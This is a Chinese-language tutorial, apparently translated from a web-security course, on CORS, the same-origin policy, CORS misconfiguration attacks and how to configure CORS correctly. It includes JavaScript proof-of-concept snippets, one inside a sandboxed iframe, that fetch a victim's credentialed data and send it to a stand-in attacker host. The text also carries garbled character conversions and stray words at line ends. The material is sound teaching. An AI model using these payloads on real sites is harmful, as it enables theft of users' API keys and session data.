在本節中,咱們將解釋什麼是跨域資源共享(CORS
),並描述一些基於 CORS
的常見攻擊示例,以及討論如何防護這些攻擊。html
CORS
(跨域資源共享)是一種瀏覽器機制,它容許對位於當前訪問域以外的資源進行受控訪問。它擴展並增長了同源策略的靈活性。然而,若是一個網站的 CORS
策略配置和實現不當,它也可能致使基於跨域的攻擊。CORS
不是針對跨源攻擊(例如跨站請求僞造 CSRF
)的保護。web
同源策略是一種限制性的跨域規範,它限制了網站與源域以外資源交互的能力。同源策略是多年前定義的,用於應對潛在的惡意跨域交互,例如一個網站從另外一個網站竊取私人數據。它一般容許域向其餘域發出請求,但不容許訪問響應。正則表達式
更多內容可參考下本 Same-origin-policy 。api
同源策略具備很大的限制性,所以人們設計了不少方法去規避這些限制。許多網站與子域或第三方網站的交互方式要求徹底的跨域訪問。使用跨域資源共享(CORS
)能夠有控制地放寬同源策略。跨域
CORS
協議使用一組 HTTP header 來定義可信的 web 域和相關屬性,例如是否容許經過身份驗證的訪問。瀏覽器和它試圖訪問的跨域網站之間進行這些 header 的交換。瀏覽器
更多內容可參考下文 CORS and the Access-Control-Allow-Origin response header 。緩存
如今許多網站使用 CORS
來容許來自子域和可信的第三方的訪問。他們對 CORS
的實現可能包含有錯誤或過於放寬,這可能致使可利用的漏洞。安全
有些應用程序須要容許不少其它域的訪問。維護一個容許域的列表須要付出持續的努力,任何差錯都有可能形成破壞。所以,應用程序可能使用一些更加簡單的方法來達到最終目的。服務器
一種方法是從請求頭中讀取 Origin
,而後將其做爲 Access-Control-Allow-Origin
響應頭返回。例如,應用程序接受了如下請求:cookie
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
而後,其響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true
響應頭代表容許從請求域進行訪問,而且跨域請求能夠包括 cookies(Access-Control-Allow-Credentials: true
),所以瀏覽器將會在會話中進行處理。
因爲應用程序在 Access-Control-Allow-Origin
頭中直接返回了請求域,這意味着任何域均可以訪問資源。若是響應中包含了任何敏感信息,如 API key 或者 CSRF token 則均可以被獲取,你能夠在你的網站上放置如下腳本進行檢索:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; };
某些應用程序使用白名單機制來實現可信來源的訪問容許。當收到 CORS 請求時,將請求頭中的 origin 與白名單進行比較,若是在白名單中,則在 Access-Control-Allow-Origin
頭中返回請求的 origin 以容許其跨域訪問。例如,應用程序收到了以下的請求:
GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com
應用程序檢查白名單列表,若是 origin 在表中,則響應:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
在實現 CORS origin 白名單時極可能會犯一些失誤。某個組織決定容許從其全部子域(包括還沒有存在的將來子域)進行訪問。應用程序容許從其餘組織的域(包括其子域)進行訪問。這些規則一般經過匹配 URL 前綴或後綴,或使用正則表達式來實現。實現中的任何失誤均可能致使訪問權限被授予意外的外部域。
例如,假設應用程序容許如下結尾的全部域的訪問權限:
normal-website.com
攻擊者則能夠經過註冊如下域來得到訪問權限(結尾匹配):
hackersnormal-website.com
或者應用程序容許如下開頭的全部域的訪問權限:
normal-website.com
攻擊者則可使用如下域得到訪問權限(開頭匹配):
normal-website.com.evil-user.net
瀏覽器會在如下狀況下發送值爲 null 的 Origin 頭:
file:
協議的請求某些應用程序可能會在白名單中容許 null 以方便本地開發。例如,假設應用程序收到了如下跨域請求:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
服務器響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
在這種狀況下,攻擊者可使用各類技巧生成 Origin 爲 null 的請求以經過白名單,從而得到訪問權限。例如,可使用 iframe
沙盒進行跨域請求:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
CORS
會在兩個域之間創建信任關係,即便 CORS
是正確的配置,可是若是某個受信任的網站存在 XSS 漏洞,那麼攻擊者就能夠利用 XSS 漏洞注入腳本,進而從受信任的網站上獲取敏感信息。
假設請求爲:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...
若是服務器響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
那麼攻擊者能夠經過 subdomain.vulnerable-website.com
網站上的 XSS 漏洞去獲取一些敏感數據:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
假設一個嚴格使用 HTTPS 的應用程序也經過白名單信任了一個使用 HTTP 的子域。例如,當應用程序收到如下請求時:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
應用程序響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
在這種狀況下,可以攔截受害者用戶流量的攻擊者能夠利用 CORS 來破壞受害者與應用程序的正常交互。攻擊步驟以下:
http://trusted-subdomain.vulnerable-website.com
https://vulnerable-website.com
http://trusted-subdomain.vulnerable-website.com
即便易受攻擊的網站對 HTTPS 的使用沒有漏洞,而且沒有 HTTP 端點,同時全部 Cookie 都標記爲安全,此攻擊也是有效的。
大部分 CORS
攻擊都須要如下響應頭的存在:
Access-Control-Allow-Credentials: true
沒有這個響應頭,受害者的瀏覽器將不會發送 cookies ,這意味着攻擊者只能訪問無需用戶驗證的內容,而這些內容直接訪問目標網站就能夠輕鬆得到。
然而,有一種狀況下攻擊者沒法直接訪問網站:網站是內網,而且是私有 IP 地址空間。內網的安全標準一般低於外網,這使得攻擊者發現漏洞後能夠得到進一步的訪問權限。例如,某個私有網絡中的跨域請求:
GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com
服務器響應:
HTTP/1.1 200 OK Access-Control-Allow-Origin: *
服務器信任全部來源的跨域請求,並且無需憑證。若是私有IP地址空間內的用戶訪問公共互聯網,則能夠從外部站點執行基於 CORS 的攻擊,該站點使用受害者的瀏覽器做爲訪問內網資源的代理。
CORS
漏洞主要是因爲錯誤的配置而產生的,所以防禦措施主要也是如何進行正確配置的問題。下面將會描述一些有效的方法。
若是 web 資源包含敏感信息,那麼應該在 Access-Control-Allow-Origin
頭中聲明容許的來源。
Access-Control-Allow-Origin
頭只能是受信任的站點。Access-Control-Allow-Origin
直接使用跨域請求的 origin 而不驗證是很容易被利用的,應該避免。
避免 Access-Control-Allow-Origin: null
。來自內部文檔和沙盒請求的跨域資源調用能夠指定 origin 爲 null 的。CORS 頭應該根據私有和公共服務器的可信來源正肯定義。
避免在內部網絡中使用通配符。當內部瀏覽器能夠訪問不受信任的外部域時,僅僅依靠網絡配置來保護內部資源是不夠的。
CORS
定義的只是瀏覽器行爲,永遠不能替代服務端對敏感數據的保護,畢竟攻擊者能夠直接在其它環境中僞造來自任何 origin 的請求。所以,除了正確配置的 CORS 以外,web 服務端仍然須要使用諸如身份驗證和會話管理等措施對敏感數據進行保護。
在本節中,咱們將解釋什麼是同源策略以及它是如何實現的。
同源策略是一種旨在防止網站互相攻擊的 web 瀏覽器的安全機制。
同源策略限制一個源上的腳本訪問另外一個源的數據。
Origin 源由三個部分組成:schema
、domain
、port
,所謂的同源就是要求這三個部分所有相同。 例以下面這個 URL:
http://normal-website.com/example/example.html
其 schema
是 http,domain
是 normal-website.com
,port
是 80 。下表顯示了若是上述 URL 中的內容嘗試訪問其它源將會是什麼狀況:
訪問的 URL | 是否能夠訪問 |
---|---|
http://normal-website.com/example/ |
是,同源 |
http://normal-website.com/example2/ |
是,同源 |
https://normal-website.com/example/ |
否: scheme 和 port 都不一樣 |
http://en.normal-website.com/example/ |
否: domain 不一樣 |
http://www.normal-website.com/example/ |
否: domain 不一樣 |
http://normal-website.com:8080/example/ |
否: port 不一樣* |
*IE 瀏覽器將會容許訪問,由於 IE 瀏覽器在應用同源策略時不考慮端口號。
當瀏覽器從一個源發送 HTTP 請求到另外一個源時,與另外一個源相關的任何 cookie (包括身份驗證會話cookie)也將會做爲請求的一部分一塊兒發送。這意味着響應將在用戶會話中返回,幷包含此特定用戶的相關數據。若是沒有同源策略,若是你訪問了一個惡意網站,它將可以讀取你 GMail 中的電子郵件、Facebook 上的私人消息等。
同源策略一般控制 JavaScript 代碼對跨域加載的內容的訪問。一般容許頁面資源的跨域加載。例如,同源策略容許經過 <img>
標籤嵌入圖像,經過 <video>
標籤嵌入媒體、以及經過 <script>
標籤嵌入 JavaScript 。可是,頁面只能加載這些外部資源,頁面上的任何 JavaScript 都沒法讀取這些資源的內容。
同源策略也有一些例外:
location
對象,或者來自 iframes 或新窗口的 location.href
屬性。window
對象的 length
屬性和 closed
屬性。location
對象上能夠跨域調用 replace
函數。close
、blur
、focus
函數。也能夠在 iframes 和新窗口上 postMessage
函數以將消息從一個域發送到另外一個域。因爲歷史遺留,在處理 cookie 時,同源策略更爲寬鬆,一般能夠從站點的全部子域訪問它們,即便每一個子域並不知足同源的要求。你可使用 HttpOnly
必定程度緩解這個風險。
使用 document.domain
能夠放寬同源策略,這個特殊屬性容許放寬特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一個域名 marketing.example.com
,而且你想讀取 example.com
域的內容。爲此,兩個域都須要設置 document.domain
爲 example.com
,那麼同源策略將會容許這裏兩個域之間的訪問,儘管它們並不一樣源。在過去,你能夠將 document.domain
設置爲頂級域名如 com
,以容許同一個頂級域名上的任何域之間的訪問,可是現代瀏覽器已經不容許這麼作了。
在本節中,咱們將解釋有關 CORS
的 Access-Control-Allow-Origin
響應頭,以及後者如何構成 CORS
實現的一部分。
CORS
經過使用一組 HTTP 頭部提供了同源策略的可控制放寬,瀏覽器容許訪問基於這些頭部的跨域請求的響應。
Access-Control-Allow-Origin
響應頭標識了跨域請求容許的請求來源,瀏覽器會將 Access-Control-Allow-Origin
與請求網站 origin 進行比較,若是二者匹配則容許訪問響應。
CORS
規範規定了 web 服務器和瀏覽器之間交換的頭內容,其中 Access-Control-Allow-Origin
是最重要的。當網站發起跨域資源請求時,瀏覽器將會自動添加 Origin
頭,隨後服務器返回 Access-Control-Allow-Origin
響應頭。
例如,origin 爲 normal-website.com
的網站發起了以下跨域請求:
GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com
服務器響應:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com
瀏覽器將會容許 normal-website.com
網站代碼訪問響應,由於 Access-Control-Allow-Origin
與 Origin
匹配。
Access-Control-Allow-Origin
容許多個域,或者 null
,或者通配符 *
。可是沒有瀏覽器支持多個 origin ,且通配符的使用有限制。
跨域資源請求的默認行爲是傳遞請求時不會攜帶如 cookies 和 Authorization 頭等憑證的。然而,對於帶憑證的跨域請求,服務器經過設置 Access-Control-Allow-Credentials: true
響應頭能夠容許瀏覽器讀取響應。例如,某個網站使用 JavaScript 去控制發起請求時一塊兒發送 cookies :
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
獲得的響應爲:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true
那麼瀏覽器將會容許發起請求的網站讀取響應,由於 Access-Control-Allow-Credentials
設置爲了 true
。不然,瀏覽器將不容許訪問響應。
Access-Control-Allow-Origin
頭支持使用通配符 *
,如
Access-Control-Allow-Origin: *
注意:通配符不能與其餘值一塊兒使用,以下方式是非法的:
Access-Control-Allow-Origin: https://*.normal-website.com
幸運的是,基於安全考慮,通配符的使用是有限制的,你不能同時使用通配符與帶憑證的跨域傳輸。所以,如下形式的服務器響應是不容許的:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
由於這是很是危險的,這等於向全部人公開目標網站上全部通過身份驗證的內容。
爲了保護遺留資源不受 CORS 容許的擴展請求的影響,預檢也是 CORS 規範中的一部分。在某些狀況下,當跨域請求包括非標準的 HTTP method 或 header 時,在進行跨域請求以前,瀏覽器會先發起一次 method 爲 OPTIONS
的請求,而且對服務端響應的 Access-Control-*
之類的頭進行初步檢查,對比 origin、method 和 header 等等,這就叫預檢。
例如,對使用 PUT
方法和 Special-Request-Header
自定義請求頭的預檢請求爲:
OPTIONS /data HTTP/1.1 Host: <some website> ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header
服務器可能響應:
HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240
這個響應的含義:
Access-Control-Allow-Origin
容許的請求域。Access-Control-Allow-Methods
容許的請求方法。Access-Control-Allow-Headers
容許的請求頭。Access-Control-Allow-Credentials
容許帶憑證的請求。Access-Control-Max-Age
設置預檢響應的最大緩存時間,經過緩存減小預檢請求增長的額外的 HTTP 請求往返的開銷。CORS 沒法提供對跨站請求僞造(CSRF)攻擊的防禦,這是一個容易出現誤解的地方。
CORS 是對同源策略的受控放寬,所以配置不當的 CORS 實際上可能會增長 CSRF 攻擊的可能性或加重其影響。